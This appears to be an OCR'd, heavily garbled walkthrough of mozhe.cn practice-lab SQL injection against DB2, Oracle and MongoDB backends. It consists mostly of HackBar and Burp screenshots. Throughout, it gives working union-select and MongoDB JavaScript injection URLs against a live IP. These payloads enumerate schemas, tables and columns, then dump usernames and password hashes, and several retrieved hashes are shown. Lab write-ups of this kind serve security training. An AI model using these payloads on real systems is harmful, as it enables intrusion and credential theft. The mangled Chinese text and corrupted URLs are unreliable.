Insert replacing string| b1 Replace All 2B

CREATE TABLE WSTMart_reg( id integer primary key autoincrement,
/name varchar(20) not null, password varchar(40) not null, status int not null

| e

o RIEB/AIKESL, Hiname. passwdfs B

http://219.153.49.228:41026/new_list.php?id=1 union select 1,name,password,4 from WSTMart_reg



(WAYBIETEEESVI0 X XWAYREEEEEEVIO X KWAVEETERERSAVI0 X XWAYRETEEESVI0 X |xwm

i 219153492 ml> TEEmGOiE= 2 G~® ¢ @ A m= T Be ¥+ f @ 3
~ = @ S0LBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS» ENCODING- HTML- ENCRYPTION- OTHER-

Load URL [ http://219.153.49.228:41026/new_listphpfid=1 union select 1,name,password,4 from W5TMart_reg

Split URL

Execute

] Post data [] Referrer % OxHEX & %URL M & BASEGd BN |."-h'-\.-'.' string to .-'-‘-,-'-'.er'r'l | Insert replacing str
A+ ACookies~ (S5~ []F=%- @EF~ QFREE- EEERE- Sind- SE5N- ATR- BEERE- LBk
TCREFT - Servicess |m Since: New Site Rank: 14148 Site Rupnrt-[m] CHINAMET Chongging province network

mozhe

DB2% 45 B i A\ A6 3 A

Fp:https://mww.mozhe.crn/bug/detail/NjM3MSt5V WoveWtHOU9kaUF 5dUFXQT09bW96aGUmozhe SQLF TiE NN A (Db2
AR PE)

DB 2% ¥8 FEE SR p

tabschema: iERES

current schema: SBTHIERE4
table_name: £%

tabname: K&K

column_name: %% HI%514
sysibm.sysdummyl icFHHEELKEE

syscat.tables: IBRREBHEE
sysibm.columns: iERFILZKER

58 35 0 37 DB2%0 48 FE v\ 3 4~ L4

http://219.153.49.228:49617/new_list.php?id=1 [FEEff %]
o FIF order by 55%t 15215 4 H & N4

http://219.153.49.228:49617/new_list.php?id=1 order by 4

FIF sysibm.systables Z i

http://219.153.49.228:49617/new_list.php?id=-1 union select 1,2,3,4 from sysibm.systables


https://www.mozhe.cn/bug/detail/NjM3MSt5VWovcWtHOU9kaUF5dUFXQT09bW96aGUmozhe

WAVEEREEESVI0 X | XWAVEEEEESVI0 X OWAREEEREVI0 X OXWAREREEERVI0 X | XWAVEBREEEGVI0 X | XwW

0219.15349.228: ml> FaswcEiomEs DG~ ¢ @ A m= wBe & 4@ 5 B G
~ = @ S0LBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- EMNCRYPTION- OTHER- XSS5 LFI-
Load URL [ http://219.152.40.228:49617/new_listphp?id=-1 union select 1,2,3,4 from sysibm.systables
Split URL
Execute

[] Postdata [] Referrer €K OxHEX 2 & %URL X X BASESd 2B |I.-|_cen string to replace
R~ LCookies~ »#CiS~ [JFE- @EFR~ GRREE~ @EEN- FiFo- JFEi- A15- mESFHLE- (=R
ICREFT - Services | itiafi Since: New Site Rank: 14148 Site Report B [CN] CHINANET Chongaing province network

2

Insert replacing string| B Repla

o # sysibm.sysdummy1 15 2|4 i %4 4 [current schemal]

http://219.153.49.228:49617/new_list.php?id=-1 union select 1,2,current schema,4 from sysibm.sysdummyl

AVEREEEAVI0 X XWAVEREEEGVI0 X OWAVEREEREVI0 X XWAVRREEERVI0 X | XWAVEREERRVI0 X | XWAVEIREE

D 219.15349.228 mi> Exemctozie= @G~ ¢ @ Q&= we & /@ 5 B - &
~ = @ SOLBASICS~ UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS» ENCODING- HTML- ENCRYPTION- OTHER- XSS+ LFI-

1ad URL | hitp://219.153.49.228:49617/new_list.php?id=-1 union select 1,2 current schema,4 from sysibm.sysdummy1

plit URL

xecute

[J Postdata [ ] Referrer 4% OxHEX ™ % %URL ¥ & BASEGS |-’.-1sen string to replace| | Insert replacing string| B4 Replace All 2
+ L Cookies= » S5~ [JF8~- @ER~ GEEEE~ @ERDE~ SR~ S B8~ AL~ BESHERE- (1[iE6-

REFT - Services | tB2EL Since: New Site Rank: 14148 Site Report Bll [CN] CHINANET Chonagging province network

2

DB2INSTA N

o F|Fsyscat.tables?r ] X4 B #4E FEcurrent schemalfitabname % 4, RAFEELZA, @it limit0,1 "0 #ATEIFEH .

http://219.153.49.228:49617/new_list.php?id=-1 union select 1,2,current schema,4 from sysibm.sysdummyl limit
0,1



XWAVEETEEERVI0 X XWAVEREEEGVI0 X XWAVHESEEEREVI0 < XWAVEIREEESVI0 X | XWAVBEEEESRVI0 X | XWAYRREEEeVI0

€ 0 21915340228 mi> TEsmciomss 2G> ¢ @ A &= T e A 5 B G- & e~
INT “ = 4 SOLBASICS- UNIOM BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-

@ Load URL http://219.153.49.228:49617 fnew _listphp?id=-1 unicn select 1,2 tabname 4 from syscat.tables where tabschema=current schema limit 0,1

% Split URL

*)  Execute

[J Postdata [] Referrer 4 OxHEX ¥ X %URL ¥ X BASESd 2B Insert replacing string| k7] Replace All X | 2
@%A~ LCookiesr p CSS+ [JFA~ @EK~- QREES- @ERTE- JHi- FRBi- ATR- BESFLE- [1[E5-

AMTERIIT - Services | Z2ZEIL Since: New Site Rank: 14148 Site Report Bl [CN] CHINANET Chongaing province network

2

fnsast string to replace

GAME_CHARACTER

=

XWAVEREEERVI0 X XWAVEHEEEEEVI0 X XWAVHIEEEE®VI0 K XWAVAIREBEGVI0 X | XWAVBREEEGVI0 X | XWAVAREER

€ © 2191534928 m> TEEEGiozEs MG~ ¢ @ Q= we ¥ Ae- s 8 - &
NT v = @ SOL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS» ENCODING- HTML- ENCRYPTION- OTHER- XS5S5- LFi-
g Load URL [ hitp://219.153.49.228:49617/new_listphp?id=-1 unicn select 1,2 tabname,4 from syscat.tables where tabschema=current schema limit 1,1
! splituRL
Execute

Insert replacing string| [2] Replace All 2

] Postdata [ ] Referrer ¥ OxHEX X % %URL 2» 8 BASESd BB |.l'.-|_c.a.nr string to replace
jEE- LCockiesw » (S~ (%S~ @EE- QFARES- QEEhE- A& S8 ATR- mEERE- (LS5
PETcR@FT - Services- | E20E Since: New Site Rank: 14148 Site Report Bl [CN] CHINANET Chongging province network

L 2

NOTICE

o FIH sysibm.columns 2] 24 5 ¥ FE current schema T GAME_CHARACTER %) 5144, @id limit 0,1 F"0"BHT 3 )9 &
#o

http://219.153.49.228:49617/new_list.php?id=-1 union select 1,2,column_name,4 from sysibm.columns where
table_schema=current schema and table_name='GAME_CHARACTER' limit 0,1



NAVRREEEGVI0 X | XWAVEIEREEEGVI0 X XWAVEHEEEEEGVI0 X XWAVBREEEGVI0 X | XWAVEEEESGVI0 X | XWAVEIREEEGVI0 X | XWAVEEEEEGVIC

021915349228 - ml> TrEcioimex MG~ ¢ @ QA &= wB ¥ & @ 5 B - &~ &~ p0|-68 @|- @
~ = § S50QLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- EMCRYPTION- OTHER- XSS5 LFl-

load URL [ hitp://219.153.49.228:49617/new_listphplid=-1 union select 1,2 column_name,4 from sysibm.columns where table_schema=current schema and table_name='GAME_CHARACTER' limit 0,1

split URL
Execute

7| 4 Replace All X .

[ Postdata [] Referrer @ OxHEX 3B @ %URL 3B 4 BASES: 3B |” string to --@,-,..,:-_.-|
8- &Cookiesw p S5~ [IF2- @EK- QARES- M- SR SEn- ATE- WESERE- )R-
CREFT - Cervices- | 2220 Since: New Site Rank: 14148 Site Report Bl [CN] CHINANET Chongging province network

N
2

fnsert repuacir;

XWAVEEEERESVI0 X | XWAVEHZEEESVI0 X XWAVEHEEEESVI0 X XWAYRHEEEESVI0 X | XWAVBEEEEGVI0 X | XWAVEHREEEGVI0 X | XWAVEiREE

€ (0 21915349228 © ml> TEEmGEomES MG~ ¢ @ A mx wBe ¥ &A@ 3 8 - & &- N[-] @
NT ~ = @ SOLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFl-

5 Load URL | http://219.153.49.228:49617/new_list.php?id=-1 union select 1,2 column_name,4 from sysibm.columns where table_schema=current schema and table_name='GAME_CHARACTER' limit 1,1

! Split URL

U Execute 1

B Replace All 2 .

[] Past data [ ] Referrer 4 OxHEX 3 4 %URL &% BASECS |.l'_-|:.an string to replacy
YERE~- KCookiess » CS5+ [JFF~- @ER- QRANEE- @EENE- S S8 ATR- BESFRE- (1ER-
ETEREINT - Servicess | SXEENS. Gince: New Site Rank: 14148 Site Report Bl [CN] CHINANET Chongaing province netwark

2

fnsert replacing

NAME|

XWAVEEEEEGVI0 X  XWAVBEEEEAVI0 X XWAVEHEEEZRVI0 X XWAVEEEEEGVI0 X | XWAVEREEEGVI0 X | XWAVEEREESGVI0 X | XWAVEEE

Fo©219.15349.228: v ml> GaEmctouEs @l G~ ¢ @ A m= B ¥ AO BT - & e D@
r ~ = @ SOLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS ENCODING- HTML- ENCRYPTION- OTHER- XSS+ LFl-
Load URL [ http://219.153.49.228:49617 /new _list.phplid=-1 union select 1,2 column_name 4 from sysibm.columns where table_schema=current schema and table_name='GAME_CHARACTER' limit 2,1 :[
Split URL
Execute

[ Postdata [] Referrer 4 OxHEX ¥» & %URL 3 X BASEGS 3B |."_-|_:.A.-:r~:r-.-- : ing| B2 Replace all b .,
B~ ACookiesw 2 CSS~ [JFE=- @EF- QEEES- @EMDE- Amo- FEN- AR MESRLE- [)iER-

ETCREFT - Cervicesr | 20 Since: New Site Rank: 14148 Sits Report Bl [CN] CHINANET Chongqing province network

2

fnsert replac

ro replace

PASSWORD



https://imgtu.com/i/R6uX11

XWAVEREEEGVI0 X | XWAVEEREEEGVI0 X XWAVEHEEEEGVI0 X OWAVEIEEEERVI0 X | XWAVERSEEGVI0 X | XWAVELRETESGVI0 X | XWAYRHRERES

P O 21915349226 v ml> FxsmGtoEs @l@G~ ¢ @ Q&= wBe A s B F - & & A @
T ¥ = @ 501 BASICS+ UNION BASED~ ERROR/DOUBLE QUERY= TOOLS= WAF BYPASS ENCODING- HTML- ENCRYPTION+ OTHER= XS5+ LFI~
Load URL [ hitp://219.153.49.228:49617 fnew _listphplid=-1 union select 1,2,column_name,4 from sysibm.columns where table_schema=current schema and table_name='GAME_CHARACTER' limit E!
split URL
Execute T
[ Postdata [] Referrer 4 OxHEX M 4% %URL ¥ % BASEGS 3B |.".-I=e.-r string to replace | Insert replacing string| B2 Replace All 3y .
- JCookiesw #CSS~ (=S~ @EL~- QEEES- QECDE- SHo- FE- AR~ WESHRE- 55~
leTcREFT - Services- | iRE, Since: New Site Rank: 14148 Site Report lll [CN] CHINANET Chonaging province network

2

e JEname. passwordd##E, FIHlimit0,1 K"0"BEATIEIAE .

http://219.153.49.228:49617/new_list.php?id=-1 union select 1,name,password,4 from GAME_CHARACTER limit 0,1

NWAVEEEERAVI0 X XWAVBREEESVI0 X OWAMEEERSN0 X OWABEEEER0 X | XWABEEEERVI0 X  WAVEREEESVI0 X XWAVEREERSVIO0

€ 0 21915349.228 ml> TrmEGEoxEx PG~ ¢ @ Q m= w e &A@ 3 B G- & € P -G S G-
NT ~ = § SOLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-

& Load URL [ Thitpy//210.153,40.228:49617 /new listphp?id=-1 union select 1 name password, 4 from GAME_CHARACTER limit 0,1

{ spliturL

v Execute

[]Postdata []Referrer @K OxHEX 3B @K %URL 3B @K BASESH 3 | inserr string fo reploce
JEtR~ L Cookiesw (S5~ [JFE~ @BER~ QREEE~ @EEDEE~ Jimd JSEBN- AT BESRCE- [)[FR-
RETCREFT - Services | tEZES, Since: New Site Rank: 14148 Site Report Bll [CN] CHINANET Chonagaging province network

chx / .

Insert replacing string| b1 Replace All 2 . 8

N

1c63129ae9db9c60c3eB8aad4d3e00495



XWAVEREEESVI0 X | XWAVRHEEEESVI0 X OWAVEIREEESVI0 X XWAVBIREEERVI0 X | XWAVEHREEERVI0 X | XWAVEHREEESVI0 X XU

€ 0 21915349.228 v mi> TEEmGioxE= [l 2G~ ¢ @ Q m= wBe ¥ A@- 5 B /- & €~ -
INT ~ = @ SO BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS+ LFI-

4@ Load URL [ http://219.153.40.228:49617/new _list.php?id=-1 union select 1,name,password, 4 from GAME_CHARACTER limit 1,1

5 spliturL I

3 Execute

[1 Postdata [] Referrer @K OxHEX 3 K %URL 32 &K BASESd I | /nsert string fo -'e,-’-\.'='r.| |-'-.'.-'-'--r.--*_-'f.?-':r‘-g: string| b7 Replace All 2 :
@R~ LCookiesw p (35~ [JF2- @BL~ QREOEE~ @EEmR- o SR8 XTE- WESHLE- |EH
AMETCREFT - Services- | 208, Since: New Site Rank: 14148 Site Report Bl [CN] CHINANET Chongaing province network

mozhe /

AN

2098e761a135894eeb36bd81basdfad32

OracleilE EEBR & 1EAN

https://www.cnblogs.com/peterpan0707007/p/8242119.html
https://blog.csdn.net/qq_35569814/article/details/100517122

Oracle #dualZ 1) F i& /- 48 -https://www.cnblogs.com/gianggiang/archive/2010/10/15/1852229.htm
HEANRES5MySQL—3, #EETFEEMEN, @Eidunion all selectRIREVR AR HHE

Oracle$#fE 5 iR &

dual BR, FARMEiselectWiBEMN, FrA & LAV E ;o U REWLETA T, MEHARZRE
all_tables BHEHHTARR

user_tables EWHLRTHMR

all_tab_columns ZE#WHTERNFE

user_tab_columns W H LT 7B

v$version A

2 % ¥ 3% Oracle B 448 = i \ 3 7~ 3L 4
http://219.153.49.228:49617/new_list.php?id=1

o FIH order by 55 %1% 15 25| & ¥ & K2
http://219.153.49.228:49617/new_list.php?id=1 order by 2

o FIA null B3 ‘null’ 2B SH0 28 [null=int, ‘null’=str]
o JF ¥ select * from table_name whereid =1 ;

o 5 ¥ select * from table_name where id =1’ ;

http://219.153.49.228:49617/new_list.php?id=-1 union select null,null from dual
http://219.153.49.228:49617/new_list.php?id=-1 union select 'null',null from dual
http://219.153.49.228:49617/new_list.php?id=-1 union select 'null','null' from dual


https://www.cnblogs.com/peterpan0707007/p/8242119.html
https://blog.csdn.net/qq_35569814/article/details/100517122
https://www.cnblogs.com/qiangqiang/archive/2010/10/15/1852229.html

XERANBHLER: NS HERsr R

AR ARMELER

http://219.153.49.228:49617/new_list.php?id=-1 union select 'null’',(select table_name from user_tables where

rownum=1) from dual

http://219.153.49.228:49617/new_list.php?id=-1 union select '1',(select table name from user_tables where
rownum=1 and table_name not in ‘LOGMNR_SESSION_EVOLVE$') from dual

o AT LR Flike i ) ELEEASMA UL Ao [— M 16 Ot T JATZRBUA 25 B iR K Bluser/adminz 2K ]

http://219.153.49.228:49617/new_list.php?id=-1 union select '1',(select table name from user_tables where

rownum=1 and table_name like '%user%') from dual

XWAYRIETETREEVI0 R
€ O 219153492 ml> FonseciosE: T L0 ¢ @ Qe B 4 h@-s - &- -
NT ~ = & S0l BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XS5- LFl-
& Load URL | http://219.153,49.228:45411 /new_list.php?id=-1 union select (select table_name from user_tables where rownum=1),'2" from dual
f  split URL
¥ Execute

[] Postdata [] Referrer 4 OHEX 3 & %URL 3 @ BASEGd 3B | nsert string to --c_.-:.'.?:;||r1;;--1,rc~,-_-,.'_;,_—,-)1;, string| 7] Replace All 38 =,
Hzmy ACookiesw » CSS+ (TR~ @mEs~ GAMNEE- @EEDE- SHo SR A 1B~ METELE- LET-
HeTCHERT - Servicess | EZEZML Gince: New Site Rank: 14148 Site Report B [CN] CHINANET Chongging province network
2
AWAVEIEERRHEVI0 x U+
€ 219153492, ml> FrEciosie: lllm~® ¢ @ Q ez wBe ¥ A3 5 @ - & - -6 @l- G- @ =

INT ~ = & SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-

@ Lload URL [ http://219.153.49.228:45411/new_listphp7id=-1 union select (select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$) ,'2" from dual

B spliturL
»)  Execute
[] Post data [] Referrer 4% OxHEX 3 % %URL ¥ ¥ BASEGS 3 Insert string to "c‘p-.?c:| Insert replacing string| [£] Replace All 2 ; ¥
@2~ LCookiesw » C55- (AT~ @EE~ QAMES- @aLhE- AGo- Jan- ATE- MESEE- 1 i
JMTCRIFT - Services | EEEAY ginco: New Site Rank: 14148 Site Report Bl [CN] CHINANET Chongging province network
— Ny
2

o AT DAIE I S X AR UL G ) 7 AP EAT Rl I 7 RAB 2R A



7 Dashboard | Target If’roxy W Repeater 1Sequenoer [Decoder 1Comparer ] Extender ]Projed options IUser options ]Auhz [Deseﬁaization Scanner ]

[ Target LmJ Payloads | Options |

(@) Payload Positions | Startattack

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload
positions - see help for full details.

=8
Attack type: | Sniper v /
U,

1 GET /new_list. php?id= = Add §
-1%20union%20se lect%20 (select%20table_name%20fr onfi20user_tables%20where%20rownum=1%20and%20table_name%201ike%20%27% § = § ?’l‘.’-iﬂ T%20)

%20, %272%27%20fronti20dual HITP/1. 1 ( Clear §
2 Hest: 219, 153. 49, 228:45411 i ;]
3 User-Agent: Nozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefoz/48.0 SRR T — -
1 Accept: text/html, application/zhtml+xml, application/xml;g=0. 9, */#;g=0. 8 l 0§
5 Accept-Language: zh-CN, zh;q=0. 8, en-US,;q=0. 5, en; ¢=0. 3
6 Accept-Enceding: gzip, deflate Refresh
7DNT: 1

8 X-Forwarded-For: B.8.8.8

9 Comnection: close
10 Uperade-Insecure-Requests: 1
11
12

M Target I Positions I Payloads I Options ]

[Elter: Showing all items

Request | Payload | Status |Emor  |Timeout |Length | Comment
0 200 O o 78

1 a 200 O (ST 1]

2 z 200 O =) 785

3 b 200 O o 78

4 c 200 o o 791 /

5 s 200 e O 794

6 u 200 O U 794

[ Raw | Headers | Hex

Raw Render n  Actions v

fstyler
15| </head>
16| <body>
<div class="body">
18 <div class="title">
sns_users K
</div>
19 <div class="content”>

]
a

<fdiv>
<[body>
</html>

2 K2
P

o BT IKBHIsns_usersEEHFI KIS B

http://219.153.49.228:49617/new_list.php?id=-1 union select '1',(select column_name from user_tab_columns where

rownum=1 and table name='sns users') from dual



XWAYBEERERHVI0 X XWAYRIEEEEEREV0 X U=k

€ © 219153402 mi> Tziswceomms Ml s~® ¢ @ QA == e ¥+ AE-s 8 T - W
INT ~ = @ S0LBASICS UNION BASED- ERROR/DOUBLE QUERY- TOOLS. WAF BYPASS- ENCODING- HTML- EMCRYPTION- OTHER- XS%- LFI-
@ Load URL [ httpy//219.153.49.228:45411 /new_list.phplid=-1 union select "' (select column_name from user_tab_columns where rownum=1 and table_name="sns_users’) from dual
B split URL
b Execute

= =

D Post data D Referrer @ OxHEX & & %URL 4% BASEGY B Insert string to -’l:'l;i'lnan] I-.':;c.'! replacing ;.'.'r'-':lgl E Replace All » B
DEE~ LCookiesw # (S5~ =2~ @mBLE~ GRNEE- ERMNE- S JEE- ATR- BESERE- | ER-
SMETCREFT - Servicess | (EEiiii Since: New Site Rank: 14148 Site Report Bl [CN] CHINANET Chongqing province netwark

1

[ USER_NAME

http://219.153.49.228:49617/new_list.php?id=-1 union select '1',(select column_name from user_tab_columns where

rownum=1 and table_name='sns_users' and column_name not in ‘USER_NAME') from dual

XWAVEEERERMAVIO0 X OWAVRHEEERERVI0 x 4

€ O 219153492 mi> TmspctomEs llnL~® ¢ @ Q== we ¥ RO s B E- S e - B Q0
INT ~ = @ SOLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFl-

@ Load URL [ http://219.153.49.228:45411/new_list.php7id=-1 union select *1',(select column_name from user_tab_columns where rownum=1 and table_name="sns_users’ and column_name not in 'USER_NAME'") from dual
% splitUrL

+)  Execute

[ Post data [ Referrer € OxHEX 2B K %URL 3 K BASES4 I | /nsert string to rep “'“4 l--'x-'.' replacing :-'-"'-'-‘:J] [ Replace All 3 : =
@FfE- LCoockies » CSS+ (8- @EH- QRMES- @RENE- Jo- JEn- XTR- WMESERR- L= v
ARTCHEY - Services | EtifS Since: New Site Rank: 14148 Site Report Bl [CN] CHINANET Chongging province network

1

o EiT3K15HIsns_users®, user_name,user pwd¥l {5 B2 2 IR

http://219.153.49.228:49617/new_list.php?id=-1 union select user_name,user_pwd from "sns_users"



€ 0 219153492 mb> TEesctoisx [l 2s~® ¢ @ A Es "B ¥ A B F oo
NT ~ = @ SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-

& Load URL [ hittp://219.153.49.228:45411/new_list.php¥id=-1 union select USER_NAME USER_PWD from “sns_users'|

£ split URL

¥ Execute

[ Postdata [ Referrer 4K OxHEX b % %URL ¥ X BASEG4 2B |-"ns€'n‘5m'ng to rep-’.ac<| |fnsernf'p.l‘=m'rlg string| B Replace all
DM~ LCookies yCss+ [JFi- @EK- QREES- ERETE- /5D /S5 KIS MEEFCR- 155~
Dercalér - Services | i2ld, Since: Mew Site Rank: 14148 Site Report Bl [CN] CHINAMET Chongaing province netwark

hu

E?

1c63129ae9db9g20asduad4d3e00495

http://219.153.49.228:49617/new_list.php?id=-1 union select user_name,user_pwd from "sns_users" where

user_name<>'hu'

Y e <

€ ©]210153492 « mi> FozEmciomEs [l s~® ¢ @ Q Ex wBE ¥ #A@-3 B @- & &€~ -] @
"INt ~ = @ SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS= WAF BYPASS+ ENCODING- HTML- ENCRYPTION- OTHER- XSS+ LFl-
@ Lload URL | hittpy//219.153.49.228:45411/new_listphp?id=-1 union select USER_NAME,USER_PWD from “sns_users' where USER_NAME=<>'hu’
@ spliturt
) Execute

[J Postdata [] Referrer 48K OxHEX M» @K %URL M» @& BASEGS BB |rnsarrﬂnng to rep-’.ar¢| |Fnserr.replb(mg string| 4] Replace All 2 B
m ACookiesw p CSS~ [JE2- @BH- QETEES- @REVE- /FEr SHir ATR- MESFKE- (155
” Services- | HePIE. Since: New Site Rank: 14148 Site Report Bl [CN] CHINANET Chongging province network

mozhe

8a210a2a178ef65bf3b0801e205eb012

Mongodb%i 12 FE i & A

ZH): hitps://mww.mozhe.cn/bug/detail/ YXIRYUJP Yk 1vQjAreHiweVAyMzV TUT09bW96aGUmozhe SQLF T.yE N IFTF MR
(MongoDB##E &)


https://imgtu.com/i/Rc2fq1
https://www.mozhe.cn/bug/detail/YXlRYUJPYk1vQjAreHlweVAyMzVTUT09bW96aGUmozhe

Mongodb ¥ ¥ e &R
EMysql. Oracle%sc R EIHE FE R F M —&Mongod b3 B & —Fh Ik % R BB

MongodbH AR LI 7 AT S Bl [ 2 NS 802 — M |
$mongo = new mongoclient();

$db = $mongo->myinfo;  //EFEEIEE
$coll = $db->test; [/ IEBES

$coll->save(); / /%
$coll->remove(); / /M
$coll->update(); / /3
$coll->find(); /&

Flexecute 5 iEHAT 745 5 = B

$mongo = new mongoclient();

$db = $mongo->myinfo; /BB E

$query = "db.table.save({'newsid':1})"; //%

$query = "db.table.remove({'newsid':1})"; / /1

$query = "db.table.update({'newsid':1},{ 'newsid',2})"; //
$query = "db.table.find({ 'newsid':1})"; //&E

$result = $db->execute($query);

BhEF, f&#T7ikexecuteIZHUR R FATHZESquery . I FRFE BEIEE N sonBIk K. &3t U EWMARBATIR, FARBEALS
i

234 ¥ 3 Mongodb% 48 & i\ 36 7~ L 1

http://219.153.49.228:46345/new_list.php?id=1

<?php
hcadrrf content-type:text/html;charset=utf-8");
L ‘config.php";

$db=$mongo->mozhe_cms_Authority;

$id=$_GET['id'];

$query="var data = db.notice.findOne({'id':'$id'}); return data;";
$obj=%$db—>execute($query); o

html>
lang="en">

"n L'TF.-BIIp
WERHVI. 0</1
e>.body{width:600px; ght:5008px; Jin: jht:60px; line-height:6@px;
i 3 e t [ solid red;text-align:center}.
;nf{bprqfr 30px; line-height:30px;

s= title"><?php echo $obj['retval']l['title'] ?></div=>
content"><?php echo $obj['retval']['content"'] ?></d

XERMNEST— FiZBIEL. 5872 iiRA1% T ##— FMongodb5Mysqlff & #1757 o



Mongodb --> db.notice.findOne({'id"':'$id"'});returu data;

Mysql --> select * from table_name where id=1;

RAE—T, WRBNBGZATHFEMER order by A FIH B ESEFE? 24 order by 4 #7713 Mongodb B4 47 i1E &) & BN 2
Mongodb --> db.notice.findOne({'id':'order by 4'});returu data;returu data;

[ LAE H order by 4 E&ENFREWH THIEEZ M, M TMysqlff) select * from table_name where id='1 order by

4';
RHHEAEENRBAVEER.

IABATERDHT— TN, BEAZEMongodbiiEHA 5 N oNjsont& R, MARMERAMEEAFTENEE"()", REiL
H A4 1E 8 1R [Eltitle A1 content FIEI B4 B .

o ZRXMA. KA title A content B 15 2
http://219.153.49.228:46345/new_list.php?id=1'});return ({title:1,content:'2

o IXPEHITE, BUMATHAT T W T HIESR
Mongodb --> db.notice.findOne({'id':'1'});return({'title':1,"content":'2'});return data

o XFEMET B BB R RIEIRIGHIIRT, &5 T tite. content K% WA
o JBEIEFEME, —REFBEBHLT, RITERAMIE title. content XA AN FERIFEN, FERMNEER, HEBWNT
BB BRMNFERFR. XtHEMongodbiE N R EIDKERE, BEERRE—FTH, XHE—-ER.

XWAVEHESEESVI0 ® 4
€  (]219.153.49.228: + mi> FTsEGEoMiE: WllmG~ ¢ @ Q == o8 ¥+ & @-35 =5 =
INT ~ = & S0l BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- \WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XS5S- LFI-
@ Lload URL http:f.FZ‘I9.153.49.223;45345!new_|ist.php?id=1'}J,-retum({title:lcontent:'zl
I spliturL I
';

Execute

Insert replacing string| B Replace All

[ Post data [] Referrer 42 OxHEX ¥ & %URL ¥ &% BASEGY B |'.r:s:.lf5:f.-'r.|;| to replace
Q= ACookiesw #CSS+ (=~ WEA~ GRTESE- EHENE Jmor SR K TE- WETECS- [1/ET-
JTCREIT - Sorvices | SIEIE. ince: New Site Rank: 14148 Site Report Bl [CN] CHINANET Chongging province network

1

H :

o M tojson HHik N 7 AT B IR HE E 44 [dbik Bl O R B, 7R E I3 tojosnig # Aystr]

http://219.153.49.228:46345/new_list.php?id=1"'}); return ({title:tojson(db),content:'2



XWAVEESEESRVI0 X

€ (021915249228 + mi> FhsRGEoME: @G~ ¢ @ Q == wEe & A@ s 5 @- & &~
INT v = & S0LBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-

i Logd URL hittp:/f219.153.49.228:46345 /mew _list.php?id=1"return ({titletojson(db) content:'2

§  spliturL

) Ezecute

[ Post data [] Referrer 4 OxHEX 3 € %URL 3 &K BASEGd 3B Ifnseﬂs!ﬁngfoupfac% lFmerfrepfac.lhgsfrfng| [ Replace All = EB
D=8 ACookiesr »CSS+ [JES~ WER~ @GRANEE~ @HEWE JHc- JSHENy AL~ METERSE- (&0~
JMercHg - Servicess | SEPUE Since: New Site Rank: 14148 Site Report Ml [CN) CHINANET Chongaing province network e

mozhe_cms_Authority

e FJH getCollectionNames() 3REUE 4 [[Fl 1 75 ZEtojsonfs e N F/F 5]

http://219.153.49.228:46345/new_list.php?id=1"'}); return ({title:tojson(db.getCollectionNames()),content:"'2

7 vmemsons < G

€ 21915340228 mi> FTzspcromsz @G~ ¢ @ Q== wBE & #0355 @I- & & 0~
.IN‘I' ~ = & SOLBASICS- UNIOM BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTIOM- OTHER- XSS5 LFI-

@ Lload URL | http://219.153.49.228:46345 /new _list.php?id=1"1: return ({titlertojson(db.getCollectionNames(),content:'2

b spliturL

+)  Execute

[ Post data [] Referrer 4% OxHEX ¥ &% %URL ¥ & BASEGL 3B fnscrfs!'n‘ngto!epfactJ ||’rurr! replacing string =] Replace All » EB
@zmy LCookiesw »Cssv [JE8~ @ER~ RAMES> EHEY SHoy JSEny KTEY WESERSEy [[E
AMETCRERT - Seryicas- | KRN Since: New Site Rank: 14148 Site Report Bl [CN] CHINANET Chongging province network

[ "Authority_confidential”, "notice",
s

"system.indexes" ]



@.v

€

€ (021915349228 mi> FTEsrcEoxiE: MG~ ¢ @ Q== wa & #0353 &5 @ -
INT ~ = & S0l BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-

g Load URL [ http://219.153.49.228:46345/new_list.php?id=1"7): return ({title:tojson(db.Authority_confidential. findD[0]).content:1

@ split URL

o Executs

[]Postdata []Referrer €% OxHEX 3B @ %URL 3B @ BASEG 3B |'_r's.:.lfsfr.-'r-gt.:.v;cu-"):t

D2mE~ LCockiesw 4 CSSv =8~ @ER~ @RNESE- @RtV AJhoy Sun KT WESECE- (0BT
AMeVErRE - Scrvices | ZEEME gince: New Site Rank: 14148 Site Report Ml [CN] CHINANET Chongging province network

" " :

Objectld("60310b79d6aa5a11b5fdf0f2"),
:

"name" : "mozhe", "pagsword"”

